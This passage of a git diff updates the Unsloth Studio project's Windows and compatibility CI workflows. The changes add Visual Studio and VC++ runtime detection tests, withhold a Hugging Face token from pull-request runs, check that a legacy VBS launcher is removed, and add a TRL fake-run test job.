which makes `Set-PSRepository PSGallery` fail with "No repository with the + # name 'PSGallery' was found." Re-register the default gallery first so the policy + # change and module install below always have a repository to target. + if (-not (Get-PSRepository -Name PSGallery -ErrorAction SilentlyContinue)) { + Register-PSRepository -Default -ErrorAction SilentlyContinue + } + Set-PSRepository PSGallery -InstallationPolicy Trusted + Install-Module Pester -MinimumVersion 5.5.0 -Force -SkipPublisherCheck -Scope CurrentUser + Import-Module Pester -MinimumVersion 5.5.0 + Get-Module Pester | Select-Object Name, Version | Format-Table + + - name: Run Pester suite + shell: pwsh + run: | + $ErrorActionPreference = 'Stop' + $testDir = Join-Path $env:GITHUB_WORKSPACE 'tests/studio_setup_ps1' + if (-not (Test-Path $testDir)) { + Write-Error "Test directory not found: $testDir" + exit 1 + } + $cfg = New-PesterConfiguration + $cfg.Run.Path = $testDir + $cfg.Run.Exit = $true # non-zero exit => job fails + $cfg.Run.Throw = $true # also throw on test failure / 0 tests + $cfg.TestResult.Enabled = $true + $cfg.TestResult.OutputFormat = 'NUnitXml' + $cfg.TestResult.OutputPath = Join-Path $env:GITHUB_WORKSPACE 'pester-results.xml' + $cfg.Output.Verbosity = 'Detailed' + Invoke-Pester -Configuration $cfg + + - name: Upload Pester results + if: always() + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1 + with: + name: pester-results-setup-ps1 + path: pester-results.xml + if-no-files-found: warn + + vs-integration: + # Real detection against the VS installed on the runner image (no mocks). + name: real-VS detection (${{ matrix.label }}) + strategy: + fail-fast: false + matrix: + include: + - { os: windows-2022, label: 'VS 2022', expectGen: 'Visual Studio 17 2022', expectToolset: 'v170' } + - { os: windows-2025-vs2026, label: 'VS 2026', expectGen: 'Visual Studio 18 2026', expectToolset: 'v180' } + runs-on: ${{ matrix.os }} + timeout-minutes: 15 + steps: + - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + with: + persist-credentials: false + + - name: Detect the real Visual Studio with setup.ps1 functions + shell: pwsh + env: + EXPECT_GEN: ${{ matrix.expectGen }} + EXPECT_TOOLSET: ${{ matrix.expectToolset }} + run: | + $ErrorActionPreference = 'Stop' + . (Join-Path $env:GITHUB_WORKSPACE 'tests/studio_setup_ps1/Get-FunctionSource.ps1') + $setup = Join-Path $env:GITHUB_WORKSPACE 'studio/setup.ps1' + foreach ($fn in @('Resolve-VsGeneratorFromLabel', 'Get-VcBuildCustomizationsDir', 'Find-VsBuildTools')) { + . ([scriptblock]::Create((Get-FunctionSource -Path $setup -Name $fn))) + } + + # Ground truth from the real vswhere (independent of our code), for visibility. + $vsw = "${env:ProgramFiles(x86)}\Microsoft Visual Studio\Installer\vswhere.exe" + if (Test-Path $vsw) { + $year = (& $vsw -latest -property catalog_productLineVersion 2>$null | Select-Object -First 1) + $path = (& $vsw -latest -property installationPath 2>$null | Select-Object -First 1) + Write-Host "Real vswhere: productLineVersion='$year' installPath='$path'" + } else { + Write-Host "vswhere not present at $vsw (relying on filesystem fallback)" + } + + # Our detection must find the real VS and report the expected generator. + $r = Find-VsBuildTools + if (-not $r) { throw "Find-VsBuildTools returned null on a host with real $env:EXPECT_GEN" } + Write-Host "Find-VsBuildTools -> Generator='$($r.Generator)' Source='$($r.Source)' InstallPath='$($r.InstallPath)'" + if ($r.Generator -ne $env:EXPECT_GEN) { + throw "Detection mismatch: got '$($r.Generator)', expected '$env:EXPECT_GEN'" + } + if (-not (Test-Path $r.InstallPath)) { throw "Detected InstallPath does not exist: $($r.InstallPath)" } + + # Toolset path derivation must match the expected v-number... + $bc = Get-VcBuildCustomizationsDir -VsInstallPath $r.InstallPath -Generator $r.Generator + $derived = Split-Path (Split-Path $bc -Parent) -Leaf # e.g. v170 / v180 + Write-Host "Get-VcBuildCustomizationsDir -> '$bc' (toolset='$derived')" + if ($derived -ne $env:EXPECT_TOOLSET) { + throw "Toolset mismatch: derived '$derived', expected '$env:EXPECT_TOOLSET'" + } + + # ...and that v-number is a real folder on the VS install (where CUDA's + # BuildCustomizations would land). + $vcRoot = Join-Path $r.InstallPath 'MSBuild\Microsoft\VC' + if (Test-Path $vcRoot) { + $realToolsets = @((Get-ChildItem -Path $vcRoot -Directory -ErrorAction SilentlyContinue).Name) + Write-Host "Real VC toolset dirs: $($realToolsets -join ', ')" + if ($realToolsets -notcontains $derived) { + throw "Derived toolset '$derived' is not present on the real $env:EXPECT_GEN install (have: $($realToolsets -join ', '))" + } + Write-Host "OK: toolset '$derived' exists on the real VS install." + } else { + Write-Warning "VC MSBuild root absent ($vcRoot) - C++ workload not installed; skipping on-disk toolset check." + } + + Write-Host "PASS: real $env:EXPECT_GEN detected correctly with toolset '$derived'." + + vcredist-clean-box: + # Validate Test-VCRedistInstalled + Ensure-VCRedist on a throwaway runner: + # present on the stock image, fires on a clean box (signals removed restorably), + # then a literal uninstall/reinstall round trip. Always restored before the end. + name: VC++ runtime detect + install round-trip (${{ matrix.os }}) + strategy: + fail-fast: false + matrix: + os: [windows-latest, windows-2025-vs2026] + runs-on: ${{ matrix.os }} + timeout-minutes: 20 + steps: + - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + with: + persist-credentials: false + + - name: Detect present, fire on a clean box, and round-trip the install + shell: pwsh + run: | + $ErrorActionPreference = 'Stop' + . (Join-Path $env:GITHUB_WORKSPACE 'tests/studio_setup_ps1/Get-FunctionSource.ps1') + $setup = Join-Path $env:GITHUB_WORKSPACE 'studio/setup.ps1' + # Dot-source the guard + the logging closure it reaches + # (step/substep -> Write-StudioStdoutMirror / Get-StudioAnsi). + $script:StudioVtOk = $false + $script:UnslothVerbose = $false + # Get-HostMachineArch is reached only on the absent path, where + # Test-VCRedistInstalled consults it before trusting the System32 DLL, so + # part A passes without it and only the clean-box part fails. + foreach ($fn in @('Get-StudioAnsi', 'Write-StudioStdoutMirror', 'step', 'substep', + 'Invoke-SetupCommand', 'Refresh-Environment', 'Get-HostMachineArch', + 'Test-VCRedistInstalled', 'Ensure-VCRedist')) { + $src = Get-FunctionSource -Path $setup -Name $fn + if (-not $src) { throw "Function '$fn' not found in setup.ps1" } + . ([scriptblock]::Create($src)) + } + + $regKeys = @( + 'HKLM\SOFTWARE\Microsoft\VisualStudio\14.0\VC\Runtimes\x64', + 'HKLM\SOFTWARE\WOW6432Node\Microsoft\VisualStudio\14.0\VC\Runtimes\x64' + ) + function Show-GroundTruth { + $dll = Join-Path $env:SystemRoot 'System32\vcruntime140_1.dll' + Write-Host (" System32\vcruntime140_1.dll present: {0}" -f (Test-Path $dll)) + foreach ($k in $regKeys) { + $r = Get-ItemProperty -Path "HKLM:\$($k.Substring(5))" -ErrorAction SilentlyContinue + if ($r) { Write-Host (" {0}: Installed={1} {2}.{3}" -f $k, $r.Installed, $r.Major, $r.Minor) } + else { Write-Host (" {0}: (absent)" -f $k) } + } + } + + Write-Host '== A. Detection on the stock runner (expect present) ==' + Show-GroundTruth + if (-not (Test-VCRedistInstalled)) { throw 'Test-VCRedistInstalled reported ABSENT on a stock runner that ships the VC++ runtime (detection regression).' } + Write-Host ' Test-VCRedistInstalled -> present OK' + + Write-Host '== B. Genuinely clean box (restorable): detection must FIRE ==' + $scratch = Join-Path $env:RUNNER_TEMP 'cleanwin' + New-Item -ItemType Directory -Force -Path (Join-Path $scratch 'System32') | Out-Null + $backup = Join-Path $env:RUNNER_TEMP 'vcreg_backup' + New-Item -ItemType Directory -Force -Path $backup | Out-Null + $origSysRoot = $env:SystemRoot + try { + for ($i = 0; $i -lt $regKeys.Count; $i++) { + reg query $regKeys[$i] *> $null + if ($LASTEXITCODE -eq 0) { + reg export $regKeys[$i] (Join-Path $backup "$i.reg") /y *> $null + reg delete $regKeys[$i] /f *> $null + } + } + $env:SystemRoot = $scratch + if (Test-VCRedistInstalled) { throw 'Detection still PRESENT after both signals were removed (it would never trigger an install on a clean box).' } + Write-Host ' Test-VCRedistInstalled -> absent OK (detection fires on a clean box)' + } finally { + $env:SystemRoot = $origSysRoot + for ($i = 0; $i -lt $regKeys.Count; $i++) { + $f = Join-Path $backup "$i.reg" + if (Test-Path $f) { reg import $f *> $null } + } + } + Show-GroundTruth + if (-not (Test-VCRedistInstalled)) { throw 'Detection did not recover after restoring the registry (test restore bug).' } + + Write-Host '== C. Literal uninstall on this throwaway VM (official installer), observe detection ==' + $exe = Join-Path $env:RUNNER_TEMP 'vc_redist.x64.exe' + Invoke-WebRequest -Uri 'https://aka.ms/vs/17/release/vc_redist.x64.exe' -OutFile $exe + Start-Process -FilePath $exe -ArgumentList '/uninstall', '/quiet', '/norestart' -Wait + Show-GroundTruth + Write-Host (" Test-VCRedistInstalled after uninstall -> {0}" -f (Test-VCRedistInstalled)) + if (Test-VCRedistInstalled) { + Write-Host ' Note: the Visual Studio on this image ref-counts the runtime, so the package' + Write-Host ' uninstall is a no-op here; section B already proved detection on a clean box.' + } + + Write-Host '== D. Restore via Ensure-VCRedist (winget product path), installer fallback if needed ==' + Ensure-VCRedist + if (-not (Test-VCRedistInstalled)) { + Write-Host ' winget path did not restore it; using the official installer to close the round trip.' + Start-Process -FilePath $exe -ArgumentList '/install', '/quiet', '/norestart' -Wait + } + Show-GroundTruth + if (-not (Test-VCRedistInstalled)) { throw 'VC++ runtime could not be restored after the uninstall round-trip.' } + Write-Host ' Test-VCRedistInstalled -> present OK' + Write-Host 'PASS: detection is correct on a real install, fires on a clean box, and the install round-trip restores the runtime.' diff --git a/.github/workflows/studio-windows-ui-smoke.yml b/.github/workflows/studio-windows-ui-smoke.yml index 40d8e530cd..d23cca323f 100644 --- a/.github/workflows/studio-windows-ui-smoke.yml +++ b/.github/workflows/studio-windows-ui-smoke.yml @@ -4,11 +4,11 @@ # Windows counterpart to studio-ui-smoke.yml / studio-mac-ui-smoke.yml. # Same Playwright + Chromium end-to-end chat UI flow + extra UI flow, # but on the FREE windows-latest runner so we catch Windows-specific -# regressions in the install path (install.ps1), the Studio CLI's +# regressions in the install path (install.ps1), the Unsloth CLI's # Windows process-management branches, and the llama.cpp prebuilt's # Windows HTTP layer. -name: Windows Studio UI CI +name: Windows Unsloth UI CI on: pull_request: @@ -19,6 +19,7 @@ on: - 'install.ps1' - 'pyproject.toml' - 'tests/studio/**' + - '.github/scripts/run-studio-permission-browser.sh' - '.github/workflows/studio-windows-ui-smoke.yml' push: branches: [main, pip] @@ -49,7 +50,7 @@ jobs: GGUF_FILE: gemma-3-270m-it-UD-Q4_K_XL.gguf STUDIO_PORT: '18896' HF_HOME: ${{ github.workspace }}/hf-cache - # Force UTF-8 for stdio so Python tools (hf download, Studio + # Force UTF-8 for stdio so Python tools (hf download, Unsloth # CLI, etc.) can print Unicode characters like the success # checkmark "✓". Windows defaults to cp1252 / charmap and # any tool that prints "OK ✓" hits a UnicodeEncodeError. @@ -91,7 +92,8 @@ jobs: id: prime-hf if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success' env: - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | python -m pip install --upgrade huggingface_hub mkdir -p hf-cache @@ -120,7 +122,7 @@ jobs: # studio-windows-update-smoke.yml for the full rationale -- # creating an empty studio/frontend/dist trips setup.ps1's # mtime-based staleness check into "frontend up to date, skip - # rebuild" and Studio boots with an empty dist directory. + # rebuild" and Unsloth boots with an empty dist directory. # Add-MpPreference accepts paths that do not yet exist. foreach ($p in @( "$env:USERPROFILE\.unsloth", @@ -136,7 +138,18 @@ jobs: } } - - name: Install Studio (--local, --no-torch) + - name: Seed a legacy launch-studio.vbs (upgrade-cleanup check) + # Simulate a pre-hardening install so the post-install assertion below + # proves the installer DELETES an existing launch-studio.vbs (the exact + # Kaspersky-flagged file), not merely stops generating it. + shell: pwsh + run: | + $appDir = Join-Path $env:LOCALAPPDATA 'Unsloth Studio' + New-Item -ItemType Directory -Force -Path $appDir | Out-Null + Set-Content -LiteralPath (Join-Path $appDir 'launch-studio.vbs') -Value 'WScript.Echo "legacy"' -Encoding Unicode + Write-Host "seeded legacy launch-studio.vbs at $appDir" + + - name: Install Unsloth (--local, --no-torch) # install.ps1 is the supported Windows installer. install.sh # has no Windows branch (apt-get / brew calls). The PS1 # script's `Install-UnslothStudio @args` line at the bottom @@ -144,7 +157,8 @@ jobs: shell: pwsh env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | New-Item -ItemType Directory -Force -Path logs | Out-Null # *>&1 redirects ALL PowerShell streams (stdout, stderr, @@ -192,7 +206,70 @@ jobs: echo "install.ps1 installed the Windows prebuilt llama.cpp:" cat "$INFO" - - name: Add Studio shim to GITHUB_PATH + - name: Assert Unsloth launcher chain (no VBS, hidden PowerShell shortcut) + # The shortcut launch path is otherwise untested here (the steps below + # boot `unsloth studio` directly). Guard against re-introducing the VBS + # that tripped Kaspersky HEUR:Trojan.VBS.Agent.gen and against the .lnk + # pointing anywhere other than hidden PowerShell over launch-studio.ps1. + shell: pwsh + run: | + $appDir = Join-Path $env:LOCALAPPDATA 'Unsloth Studio' + if (Test-Path -LiteralPath (Join-Path $appDir 'launch-studio.vbs')) { + throw "regression: launch-studio.vbs exists (the Kaspersky VBS-FP shape)" + } + if (-not (Test-Path -LiteralPath (Join-Path $appDir 'launch-studio.ps1'))) { + throw "missing launch-studio.ps1 in $appDir" + } + $lnk = Join-Path ([Environment]::GetFolderPath('Desktop')) 'Unsloth Studio.lnk' + if (-not (Test-Path -LiteralPath $lnk)) { + $lnk = Join-Path $env:APPDATA 'Microsoft\Windows\Start Menu\Programs\Unsloth Studio.lnk' + } + if (-not (Test-Path -LiteralPath $lnk)) { throw "no Unsloth Studio.lnk on Desktop or Start Menu" } + $sc = (New-Object -ComObject WScript.Shell).CreateShortcut($lnk) + Write-Host "shortcut target: $($sc.TargetPath)" + Write-Host "shortcut args: $($sc.Arguments)" + if ($sc.TargetPath -match 'wscript\.exe$') { throw "shortcut still targets wscript.exe (VBS host)" } + if ($sc.TargetPath -notmatch 'powershell\.exe$') { throw "unexpected shortcut target: $($sc.TargetPath)" } + if ($sc.Arguments -notmatch '-WindowStyle Hidden') { + throw "shortcut must launch windowless (-WindowStyle Hidden)" + } + Write-Host "launcher chain OK (no VBS; hidden powershell over launch-studio.ps1)" + + - name: Launch Unsloth via the shortcut and assert health + # Run the exact command the .lnk stores (hidden PowerShell over + # launch-studio.ps1) and confirm it brings the backend up. This is the + # only step that proves the shortcut launch is not silently broken. + # Default port range is 8888-8908; the later UI tests use 18896/18897, so + # there is no conflict, and we tear this server down before they boot. + shell: pwsh + run: | + $lnk = Join-Path ([Environment]::GetFolderPath('Desktop')) 'Unsloth Studio.lnk' + if (-not (Test-Path -LiteralPath $lnk)) { + $lnk = Join-Path $env:APPDATA 'Microsoft\Windows\Start Menu\Programs\Unsloth Studio.lnk' + } + $sc = (New-Object -ComObject WScript.Shell).CreateShortcut($lnk) + Write-Host "launching: $($sc.TargetPath) $($sc.Arguments)" + Start-Process -FilePath $sc.TargetPath -ArgumentList $sc.Arguments -WorkingDirectory $sc.WorkingDirectory + $foundPort = 0 + foreach ($i in 1..180) { + foreach ($port in 8888..8908) { + try { + $r = Invoke-RestMethod -Uri "http://127.0.0.1:$port/api/health" -TimeoutSec 1 + if ($r.status -eq 'healthy' -and $r.service -eq 'Unsloth UI Backend') { $foundPort = $port; break } + } catch {} + } + if ($foundPort) { break } + Start-Sleep -Seconds 1 + } + # Tear down the shortcut-launched server before the main UI tests boot. + try { + $owner = (Get-NetTCPConnection -LocalPort $foundPort -State Listen -ErrorAction Stop | Select-Object -First 1).OwningProcess + if ($owner) { taskkill /PID $owner /T /F 2>$null | Out-Null } + } catch {} + if (-not $foundPort) { throw "Unsloth did not become healthy when launched via the shortcut" } + Write-Host "Unsloth healthy on port $foundPort (launched via the shortcut)" + + - name: Add Unsloth shim to GITHUB_PATH # install.ps1 puts unsloth.exe at $StudioHome\bin\unsloth.exe # and adds that dir to the User PATH via the Windows registry. # Registry-level PATH updates don't propagate to a running @@ -208,7 +285,7 @@ jobs: fi # GITHUB_PATH wants Windows-style paths; convert via cygpath. cygpath -w "$SHIM_DIR" >> "$GITHUB_PATH" - echo "Added Studio shim dir to PATH: $(cygpath -w "$SHIM_DIR")" + echo "Added Unsloth shim dir to PATH: $(cygpath -w "$SHIM_DIR")" - name: Install Playwright + Chromium # No --with-deps on Windows: that flag installs Linux apt @@ -218,9 +295,10 @@ jobs: python -m pip install 'playwright>=1.45' python -m playwright install chromium - - name: Reset auth + boot Studio + - name: Reset auth + boot Unsloth run: | - unsloth studio reset-password + # Wipe (not reset-password): the boot below must re-seed a fresh .bootstrap_password. + rm -rf ~/.unsloth/studio/auth mkdir -p logs UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p "$STUDIO_PORT" \ > logs/studio.log 2>&1 & @@ -263,15 +341,19 @@ jobs: mkdir -p logs/playwright python tests/studio/playwright_chat_ui.py - - name: Stop Studio (chat-ui ends with Shutdown click; this is belt-and-suspenders) + - name: Stop Unsloth (chat-ui ends with Shutdown click; this is belt-and-suspenders) if: always() run: | kill "${STUDIO_PID}" 2>/dev/null || true sleep 2 - - name: Reset auth + boot Studio for extra UI tests (port 18897) + - name: Edge permission controls run: | - unsloth studio reset-password + bash .github/scripts/run-studio-permission-browser.sh 18895 chromium msedge + + - name: Reset auth + boot Unsloth for extra UI tests (port 18897) + run: | + rm -rf ~/.unsloth/studio/auth mkdir -p logs UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p 18897 \ > logs/studio_extra.log 2>&1 & @@ -296,7 +378,7 @@ jobs: echo "STUDIO_EXTRA_OLD_PW=$OLD" >> "$GITHUB_ENV" echo "STUDIO_EXTRA_NEW_PW=$NEW" >> "$GITHUB_ENV" - - name: Drive Compare/Recipes/Export/Studio/Settings with Playwright + - name: Drive Compare/Recipes/Export/Unsloth/Settings with Playwright env: BASE_URL: http://127.0.0.1:18897 STUDIO_OLD_PW: ${{ env.STUDIO_EXTRA_OLD_PW }} @@ -310,7 +392,7 @@ jobs: mkdir -p logs/playwright_extra python tests/studio/playwright_extra_ui.py - - name: Stop second Studio + - name: Stop second Unsloth if: always() run: | kill "${STUDIO_EXTRA_PID}" 2>/dev/null || true @@ -326,5 +408,7 @@ jobs: logs/studio_extra.log logs/install.log logs/playwright + logs/playwright-permissions-* logs/playwright_extra + logs/studio-permissions-*.log retention-days: 7 diff --git a/.github/workflows/studio-windows-update-smoke.yml b/.github/workflows/studio-windows-update-smoke.yml index 4a4806cfb1..0dcc828e6b 100644 --- a/.github/workflows/studio-windows-update-smoke.yml +++ b/.github/workflows/studio-windows-update-smoke.yml @@ -5,19 +5,19 @@ # studio-mac-update-smoke.yml. Verifies that on the FREE # windows-latest runner: # -# 1. install.ps1 --local --no-torch installs Studio AND auto-fetches -# the prebuilt llama.cpp Windows binary (llama-bNNNN-bin-win-cpu- -# x64 from ggml-org/llama.cpp). Hitting the source-build fallback -# is treated as an Unsloth bug -- Studio must always pick the +# 1. install.ps1 --local --no-torch installs Unsloth AND auto-fetches +# the prebuilt llama.cpp Windows binary (app--windows-x64-cpu +# from unslothai/llama.cpp). Hitting the source-build fallback is +# treated as an Unsloth bug -- Unsloth must always pick the # prebuilt on Windows. # 2. unsloth studio update --local is idempotent. Two consecutive # runs both report "prebuilt up to date and validated", no # source-build fallback. The CLI's _find_setup_script picks # setup.ps1 on Windows automatically. -# 3. The installed Studio still boots and /api/health returns +# 3. The installed Unsloth still boots and /api/health returns # healthy after the update path. -name: Windows Studio Update CI +name: Windows Unsloth Update CI on: pull_request: @@ -45,7 +45,7 @@ permissions: jobs: update-idempotency: - name: Studio Updating Tests + name: Unsloth Updating Tests runs-on: windows-latest timeout-minutes: 30 defaults: @@ -53,7 +53,7 @@ jobs: shell: bash env: # Force UTF-8 for stdio (Windows defaults to cp1252; hf - # download / Studio CLI print "✓" checkmarks and crash + # download / Unsloth CLI print "✓" checkmarks and crash # otherwise). PYTHONIOENCODING: utf-8 PYTHONUTF8: '1' @@ -79,18 +79,18 @@ jobs: # Two surgical fixes against measured Windows-only install # waste (vs Mac/Linux on the same SHA): # - # (1) npm. setup.ps1 line 1109-1145 requires Node 22.12+ (or - # 20.19+ / 23+) AND npm >=11 because Vite 8 needs both. + # (1) npm. setup.ps1's Get-NodeDecision requires Node 22.12+ + # (or 20.19+ / 23+) AND npm >=11 because Vite 8 needs both. # actions/setup-node@v4 with `node-version: '22'` lands - # Node 22.22.2 + the npm 10.9.7 it bundles, so the npm - # check fails and setup.ps1 falls through to the - # "winget install Node.js LTS" branch -- a ~35 s reinstall - # of Node we don't need. `npm install -g npm@^11` updates - # the bundled npm in-place in ~5 s, which makes setup.ps1 - # short-circuit on the existing Node. + # Node 22.22.2 + the npm 10.9.7 it bundles, so the decision + # is "bundled" and setup.ps1 downloads an isolated Node (~30 + # MB) we don't need on a runner that already has a fine Node. + # `npm install -g npm@^11` updates the runner's npm in-place + # in ~5 s, flipping the decision to "system" so setup.ps1 + # reuses the existing Node with no download. # # (2) Defender. windows-latest's real-time scan opens / hashes - # every file Studio writes during install (Vite output = + # every file Unsloth writes during install (Vite output = # thousands of small chunks, uv pip = wheel-extraction = # thousands of small files). The latency dominates the # 200 s frontend build and the 90 s deps install. Adding @@ -109,7 +109,7 @@ jobs: # setup.ps1 line 1281-1296's mtime-based "is the frontend # stale?" check into "up to date, skip rebuild", because the # newly-created dist's mtime is younger than every source - # file. Studio then boots with an empty dist and 500s on + # file. Unsloth then boots with an empty dist and 500s on # GET / with FileNotFoundError: dist\index.html. See run # 25546676715 / job 74984469728. # Add-MpPreference accepts paths that do not yet exist; the @@ -129,11 +129,12 @@ jobs: } } - - name: Install Studio (--local, --no-torch) + - name: Install Unsloth (--local, --no-torch) shell: pwsh env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | New-Item -ItemType Directory -Force -Path logs | Out-Null # *>&1 captures Write-Host (Information stream) output; @@ -167,7 +168,7 @@ jobs: echo "install.ps1 installed the Windows prebuilt llama.cpp:" cat "$INFO" - - name: Add Studio shim to GITHUB_PATH + - name: Add Unsloth shim to GITHUB_PATH run: | SHIM_DIR=~/.unsloth/studio/bin if [ ! -f "$SHIM_DIR/unsloth.exe" ]; then @@ -180,7 +181,8 @@ jobs: - name: First update should be a no-op (prebuilt already validated) env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | set -o pipefail unsloth studio update --local 2>&1 | tee logs/update.log @@ -196,10 +198,36 @@ jobs: fi echo "update path took the prebuilt fast path" + - name: Update must keep the --no-torch install GGUF-only + run: | + # `unsloth studio update` exports no UNSLOTH_NO_TORCH, so setup.ps1 has + # to recover the mode from the install manifest. Without that it reads + # the missing torch as a stale venv and tries to delete the venv it is + # running out of, and the shared dependency pass pulls torch back in. + # The skip line only prints when the dependency pass actually runs, so + # don't demand it if the fast path short-circuited that pass. + if grep -q "running ordered dependency installation" logs/update.log \ + && ! grep -q "skipping direct PyTorch and Triton installation (no-torch mode)" logs/update.log; then + echo "::error::studio update left no-torch mode; it would reinstall PyTorch." + grep -iE "no-torch|stale venv|PyTorch" logs/update.log | tail -40 + exit 1 + fi + PY="$HOME/.unsloth/studio/unsloth_studio/Scripts/python.exe" + if [ ! -f "$PY" ]; then + echo "::error::studio venv interpreter missing at $PY" + exit 1 + fi + if "$PY" -c "import torch" 2>/dev/null; then + echo "::error::torch was reinstalled into the --no-torch venv." + exit 1 + fi + echo "update preserved no-torch mode" + - name: Second update must also be a no-op env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | set -o pipefail unsloth studio update --local 2>&1 | tee logs/update2.log @@ -209,7 +237,7 @@ jobs: grep -qE "prebuilt up to date and validated|prebuilt installed and validated" logs/update2.log echo "second update was clean" - - name: Boot Studio briefly to confirm the install is still usable + - name: Boot Unsloth briefly to confirm the install is still usable run: | mkdir -p logs UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p 18891 \ @@ -236,13 +264,13 @@ jobs: sleep 1 done if [ -z "$HEALTHY" ]; then - echo "Studio failed to come up after \`update\`" + echo "Unsloth failed to come up after \`update\`" tail -200 logs/studio.log kill "$PID" 2>/dev/null || true exit 1 fi kill "$PID" 2>/dev/null || true - echo "post-update Studio /api/health OK" + echo "post-update Unsloth /api/health OK" - name: Uninstall and verify clean # Round-trip through scripts/uninstall.ps1 against the default diff --git a/.github/workflows/version-compat-ci.yml b/.github/workflows/version-compat-ci.yml index 599b53df1d..6becccc90a 100644 --- a/.github/workflows/version-compat-ci.yml +++ b/.github/workflows/version-compat-ci.yml @@ -242,7 +242,7 @@ jobs: run: | python -m pip install --upgrade pip # CPU torch (vllm/peft/st all depend on it). - pip install --index-url https://download.pytorch.org/whl/cpu \ + pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple \ 'torch>=2.4,<2.11' 'torchvision<0.26' 'torchcodec<0.10' # torchcodec is a hard requirement on transformers 5.x: # transformers/audio_utils.py:55 does @@ -285,6 +285,92 @@ jobs: tests/vllm_compat/test_extended_module_imports.py \ -v --tb=short + # Fake-CUDA GRPO/SFT/DPO patch run against REAL TRL (latest + main). Unlike + # the static symbol/source greps above, this drives unsloth's actual + # source-transform patchers (models/rl.py + rl_replacements.py) on a CPU-only + # runner under the tests/conftest.py spoof harness -- no GPU, no training. + # Catches structural TRL drift the greps miss (e.g. TRL 1.7.0's 2->3-tuple + # per-token-logps return, restructured PEFT ref-adapter block) by asserting + # the generated Unsloth trainer still satisfies the transform contracts. + grpo-fake-run: + name: GRPO fake-run (latest + main TRL, CPU spoof) + runs-on: ubuntu-latest + timeout-minutes: 18 + steps: + - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + with: + persist-credentials: false + path: unsloth + - name: Clone unsloth-zoo @ main + run: | + for attempt in 1 2 3; do + rm -rf "$RUNNER_TEMP/unsloth-zoo" + if git clone --depth=1 https://github.com/unslothai/unsloth-zoo \ + "$RUNNER_TEMP/unsloth-zoo"; then + break + fi + if [ "$attempt" -eq 3 ]; then + echo "::error::git clone unsloth-zoo failed after 3 attempts" + exit 1 + fi + delay=$((5 * attempt)) + echo "::warning::clone failed (attempt $attempt/3), retrying in ${delay}s..." + sleep "$delay" + done + - uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0 + with: + python-version: '3.12' + cache: 'pip' + - name: Install CPU torch + ecosystem + TRL latest + run: | + python -m pip install --upgrade pip + pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple \ + 'torch>=2.4,<2.11' 'torchvision<0.26' 'torchcodec<0.10' + # Ecosystem floors unsloth needs; TRL itself is installed last so it + # can pull the transformers/peft it requires. + pip install \ + 'transformers>=4.57' 'peft>=0.18.0' 'accelerate>=1.0' 'datasets>=3.4,<5' \ + 'bitsandbytes>=0.45.5' sentencepiece protobuf safetensors numpy 'pytest>=8' \ + 'huggingface_hub>=0.34' tqdm packaging psutil triton Pillow + pip install --upgrade trl + pip install --no-deps -e "$RUNNER_TEMP/unsloth-zoo" + pip install --no-deps -e ./unsloth + - name: Fake-run vs TRL latest + env: + UNSLOTH_IS_PRESENT: '1' + UNSLOTH_COMPILE_DISABLE: '1' + # Disable dynamo/inductor at the process level, before conftest.py's early + # `import unsloth`, so the GRPO hot path never compiles on the GPU-less runner + # (defense in depth; the CPU fake-train also flips this at runtime). + TORCHDYNAMO_DISABLE: '1' + TORCH_COMPILE_DISABLE: '1' + PROTOCOL_BUFFERS_PYTHON_IMPLEMENTATION: python + run: | + cd unsloth + python -c "import trl; print('Resolved TRL', trl.__version__)" + PYTHONPATH=. python -m pytest \ + tests/version_compat/test_trl_grpo_fake_run.py \ + tests/version_compat/test_trl_fake_train_cpu.py \ + -v --tb=short + # `main` is scheduled/dispatch-only so PR jobs stay fast and a bleeding-edge + # TRL break does not red every PR. github.event_name is valid in a step if. + - name: Fake-run vs TRL main (scheduled / dispatch only) + if: ${{ github.event_name != 'pull_request' }} + env: + UNSLOTH_IS_PRESENT: '1' + UNSLOTH_COMPILE_DISABLE: '1' + TORCHDYNAMO_DISABLE: '1' + TORCH_COMPILE_DISABLE: '1' + PROTOCOL_BUFFERS_PYTHON_IMPLEMENTATION: python + run: | + pip install --upgrade "git+https://github.com/huggingface/trl" + cd unsloth + python -c "import trl; print('Resolved TRL', trl.__version__)" + PYTHONPATH=. python -m pytest \ + tests/version_compat/test_trl_grpo_fake_run.py \ + tests/version_compat/test_trl_fake_train_cpu.py \ + -v --tb=short + # Daily-only: same suites but with --strict on importable upstream # tags. Schedule-only so PR jobs stay fast; cron tolerates a flake. daily-fresh-fetch: diff --git 